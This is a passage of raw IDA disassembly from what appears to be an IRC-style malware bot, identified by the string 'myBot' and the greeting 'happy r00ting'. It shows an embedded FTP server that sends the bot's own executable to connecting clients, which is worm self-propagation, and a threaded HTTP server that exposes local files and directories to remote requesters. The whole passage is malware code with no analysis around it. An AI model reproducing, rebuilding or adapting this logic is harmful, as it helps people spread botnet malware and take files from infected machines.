		push	eax
		call	sub_41BF70
		add	esp, 34h
		lea	eax, [ebp+var_FC]
		push	[ebp+var_C]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_41C266
		push	10h
		lea	eax, [ebp+var_FC]
		push	esi
		push	eax
		call	sub_41C7A5
		add	esp, 1Ch
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_4C]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_41C266
		add	esp, 18h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		jmp	loc_40F989
; ---------------------------------------------------------------------------


loc_40F883:				; CODE XREF: sub_40F3AA+41Dj
		lea	eax, [ebp+var_B0]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F96A
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	[ebp+arg_0]
		call	ebx	; send
		push	[ebp+var_C]
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_40F9BF
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	loc_40F960
		cmp	[ebp+var_444], esi
		jnz	short loc_40F8ED
		push	esi
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_409869
		add	esp, 14h


loc_40F8ED:				; CODE XREF: sub_40F3AA+51Ej
		call	sub_40FA3C
		cmp	eax, 1
		jnz	loc_40F98E
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_8E0]
		push	offset dword_4347A0
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_444], esi
		jnz	short loc_40F94B
		push	esi
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_409869
		add	esp, 14h


loc_40F94B:				; CODE XREF: sub_40F3AA+57Cj
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_415D38
		inc	dword_4CE4F0
		pop	ecx
		jmp	short loc_40F98E
; ---------------------------------------------------------------------------


loc_40F960:				; CODE XREF: sub_40F3AA+512j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_40F989
; ---------------------------------------------------------------------------


loc_40F96A:				; CODE XREF: sub_40F3AA+4EEj
		lea	eax, [ebp+var_B0]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F98E
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_40F989:				; CODE XREF: sub_40F3AA+340j
					; sub_40F3AA+377j ...
		push	[ebp+arg_0]


loc_40F98C:				; CODE XREF: sub_40F3AA+304j
		call	ebx	; send


loc_40F98E:				; CODE XREF: sub_40F3AA+3C2j
					; sub_40F3AA+54Bj ...
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_41BF70
		mov	edi, [ebp+arg_0]
		add	esp, 0Ch


loc_40F9A3:				; CODE XREF: sub_40F3AA+151j
					; sub_40F3AA+17Aj ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_40F4C9
		jmp	loc_40F48E
; ---------------------------------------------------------------------------


loc_40F9B5:				; CODE XREF: sub_40F3AA+10Fj
		push	1
		pop	eax


loc_40F9B8:				; CODE XREF: sub_40F3AA+C1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40F3AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F9BF	proc near		; CODE XREF: sub_40F3AA+508p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	dword_4271D8	; WSAStartup
		push	0
		push	1
		push	2
		call	dword_427204	; socket
		push	[ebp+arg_0]
		mov	dword_4CE72C, eax
		mov	[ebp+var_10], 2
		call	dword_4271F0	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	dword_4271F4	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_4CE72C
		call	dword_4271F8	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40FA37
		push	dword_4CE72C
		call	dword_427200	; closesocket
		call	dword_4271D4	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40FA37:				; CODE XREF: sub_40F9BF+60j
		push	1
		pop	eax
		leave
		retn
sub_40F9BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FA3C	proc near		; CODE XREF: sub_40F3AA:loc_40F8EDp

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	dword_427078	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset dword_429068
		push	eax
		call	sub_41BEA2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40FAD3
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40FAB7
		push	edi
		mov	edi, 400h


loc_40FA7F:				; CODE XREF: sub_40FA3C+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_41BAFA
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_4CE72C
		call	dword_427208	; send
		push	1
		call	dword_427080	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40FA7F
		pop	edi


loc_40FAB7:				; CODE XREF: sub_40FA3C+3Bj
		push	esi
		call	sub_41BA3B
		pop	ecx
		push	dword_4CE72C
		call	dword_427200	; closesocket
		call	dword_4271D4	; WSACleanup
		push	1
		pop	eax


loc_40FAD3:				; CODE XREF: sub_40FA3C+35j
		pop	esi
		leave
		retn
sub_40FA3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FAD6	proc near		; DATA XREF: sub_401ACD+2229o
					; sub_40BD91+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CB9E4	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CBA64	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40FEC1
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43E92C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CBA10	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		push	7FFFFFFFh
		push	edi
		call	dword_4CBA0C	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CBA80	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40FBAD:				; CODE XREF: sub_40FAD6+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CB9CC	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEBC
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40FBE3:				; CODE XREF: sub_40FAD6+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CB8D0	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40FEA7
		cmp	esi, [ebp+var_C]
		jnz	short loc_40FC65
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CBA78	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEA7
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FC37
		lea	edx, [ebp+var_134]


loc_40FC2B:				; CODE XREF: sub_40FAD6+15Fj
		cmp	[edx], eax
		jz	short loc_40FC37
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40FC2B


loc_40FC37:				; CODE XREF: sub_40FAD6+14Dj
					; sub_40FAD6+157j
		cmp	ecx, ebx
		jnz	short loc_40FC54
		cmp	ebx, 40h
		jnb	short loc_40FC54
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40FC54:				; CODE XREF: sub_40FAD6+163j
					; sub_40FAD6+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40FEA7
		mov	[ebp+var_8], eax
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FC65:				; CODE XREF: sub_40FAD6+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CB9FC	; recv
		test	eax, eax
		jg	short loc_40FCF8
		push	esi
		call	dword_4CBA7C	; closesocket
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40FEA7
		lea	eax, [ebp+var_134]


loc_40FCB7:				; CODE XREF: sub_40FAD6+1EBj
		cmp	[eax], esi
		jz	short loc_40FCC8
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FCB7
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FCC8:				; CODE XREF: sub_40FAD6+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FCEC
		lea	eax, [ebp+ecx*4+var_134]


loc_40FCD6:				; CODE XREF: sub_40FAD6+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FCD6


loc_40FCEC:				; CODE XREF: sub_40FAD6+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FCF8:				; CODE XREF: sub_40FAD6+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41B9C0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40FEA7


loc_40FD26:				; CODE XREF: sub_40FAD6+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40FDCB
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FD9F
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41B9C0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40FD9F
		mov	eax, offset asc_42CDC8 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41CAD4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41C890
		add	esp, 10h
		jmp	short loc_40FDB6
; ---------------------------------------------------------------------------


loc_40FD9F:				; CODE XREF: sub_40FAD6+27Fj
					; sub_40FAD6+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_4349F4 ; "\r\n"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FDEA


loc_40FDB6:				; CODE XREF: sub_40FAD6+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40FDCB:				; CODE XREF: sub_40FAD6+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41B9C0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40FD26
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FDEA:				; CODE XREF: sub_40FAD6+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FE34
		lea	eax, [ebp+var_134]


loc_40FDF6:				; CODE XREF: sub_40FAD6+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40FE07
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FDF6
		jmp	short loc_40FE37
; ---------------------------------------------------------------------------


loc_40FE07:				; CODE XREF: sub_40FAD6+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FE2B
		lea	eax, [ebp+ecx*4+var_134]


loc_40FE15:				; CODE XREF: sub_40FAD6+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FE15


loc_40FE2B:				; CODE XREF: sub_40FAD6+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40FE37
; ---------------------------------------------------------------------------


loc_40FE34:				; CODE XREF: sub_40FAD6+318j
		mov	esi, [ebp+var_4]


loc_40FE37:				; CODE XREF: sub_40FAD6+32Fj
					; sub_40FAD6+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40FEA0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41B9C0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41B9C0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40FEA0
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CBA80	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_4100B4
		add	esp, 14h
		jmp	short loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FEA0:				; CODE XREF: sub_40FAD6+369j
					; sub_40FAD6+38Fj
		push	esi
		call	dword_4CBA7C	; closesocket


loc_40FEA7:				; CODE XREF: sub_40FAD6+11Dj
					; sub_40FAD6+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40FBE3
		jmp	loc_40FBAD
; ---------------------------------------------------------------------------


loc_40FEBC:				; CODE XREF: sub_40FAD6+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40FEC1:				; CODE XREF: sub_40FAD6+6Aj
					; sub_40FAD6+92j ...
		call	dword_4CB978	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4349CC
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40FF07
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409869
		add	esp, 14h


loc_40FF07:				; CODE XREF: sub_40FAD6+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA7C	; closesocket
		push	[ebp+var_254]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40FAD6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF31	proc near		; DATA XREF: sub_4100B4+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41C266
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40FF97
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40FF9C
; ---------------------------------------------------------------------------


loc_40FF97:				; CODE XREF: sub_40FF31+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40FF9C:				; CODE XREF: sub_40FF31+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	dword_427110	; GetDateFormatA
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	dword_42710C	; GetTimeFormatA
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_410015
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C266
		add	esp, 24h
		jmp	short loc_410036
; ---------------------------------------------------------------------------


loc_410015:				; CODE XREF: sub_40FF31+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C266
		add	esp, 28h


loc_410036:				; CODE XREF: sub_40FF31+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CBA34	; send
		cmp	[ebp+var_A4], edi
		jnz	short loc_410076
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_4109F1
		pop	ecx
		pop	ecx
		jmp	short loc_410093
; ---------------------------------------------------------------------------


loc_410076:				; CODE XREF: sub_40FF31+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41036B
		add	esp, 10h


loc_410093:				; CODE XREF: sub_40FF31+143j
		push	[ebp+var_44C]
		call	dword_4CBA7C	; closesocket
		push	[ebp+var_B4]
		call	sub_40B6D6
		pop	ecx
		push	edi
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
sub_40FF31	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100B4	proc near		; CODE XREF: sub_40FAD6+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41BF70
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_4100EA
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_4100F3
; ---------------------------------------------------------------------------


loc_4100EA:				; CODE XREF: sub_4100B4+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_2	; "%s"


loc_4100F3:				; CODE XREF: sub_4100B4+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_41018E
		mov	[ebp+arg_8], 2


loc_41011E:				; CODE XREF: sub_4100B4+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_41015E
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_41015E
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_41015E
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_41015E
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_410178
; ---------------------------------------------------------------------------


loc_41015E:				; CODE XREF: sub_4100B4+7Aj
					; sub_4100B4+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_41016E
		push	5Ch
		pop	eax
		jmp	short loc_410171
; ---------------------------------------------------------------------------


loc_41016E:				; CODE XREF: sub_4100B4+B3j
		movsx	eax, al


loc_410171:				; CODE XREF: sub_4100B4+B8j
		mov	[ebp+ebx+var_210], al


loc_410178:				; CODE XREF: sub_4100B4+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41B9C0
		cmp	esi, eax
		pop	ecx
		jb	short loc_41011E


loc_41018E:				; CODE XREF: sub_4100B4+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_429AD0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_314]
		push	offset asc_42A088 ; "\n"
		push	eax
		call	sub_41CAD4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	dword_4270A0	; GetFileAttributesA
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4101DF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4101E2
		push	[ebp+arg_0]
		jmp	loc_410262
; ---------------------------------------------------------------------------


loc_4101DF:				; CODE XREF: sub_4100B4+11Cj
		mov	[ebp+var_4], esi


loc_4101E2:				; CODE XREF: sub_4100B4+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_4101EF
		mov	[ebp+var_4], esi


loc_4101EF:				; CODE XREF: sub_4100B4+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_41026D
		cmp	[ebp+arg_C], edi
		jz	short loc_410261
		lea	eax, [ebp+var_314]
		push	offset asc_434C80 ; "*"
		push	eax
		call	sub_41C8A0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_410AAE
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41C266
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_4102BC
; ---------------------------------------------------------------------------


loc_410261:				; CODE XREF: sub_4100B4+152j
		push	ebx


loc_410262:				; CODE XREF: sub_4100B4+126j
		call	dword_4CBA7C	; closesocket
		jmp	loc_410364
; ---------------------------------------------------------------------------


loc_41026D:				; CODE XREF: sub_4100B4+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	dword_4270F8	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4102BC
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C266
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	dword_427114	; GetFileSize
		push	esi
		mov	[ebp+var_330], eax
		call	dword_427070	; CloseHandle


loc_4102BC:				; CODE XREF: sub_4100B4+1ABj
					; sub_4100B4+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_434C4C
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43E924[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40FF31
		push	edi
		push	edi
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E934[ecx], eax
		jz	short loc_410336


loc_410324:				; CODE XREF: sub_4100B4+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_410364
		push	5
		call	dword_427080	; Sleep
		jmp	short loc_410324
; ---------------------------------------------------------------------------


loc_410336:				; CODE XREF: sub_4100B4+26Ej
		push	ebx
		call	dword_4CBA7C	; closesocket
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_434C14
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_410364:				; CODE XREF: sub_4100B4+1B4j
					; sub_4100B4+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4100B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41036B	proc near		; CODE XREF: sub_401ACD+75E3p
					; sub_40FF31+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
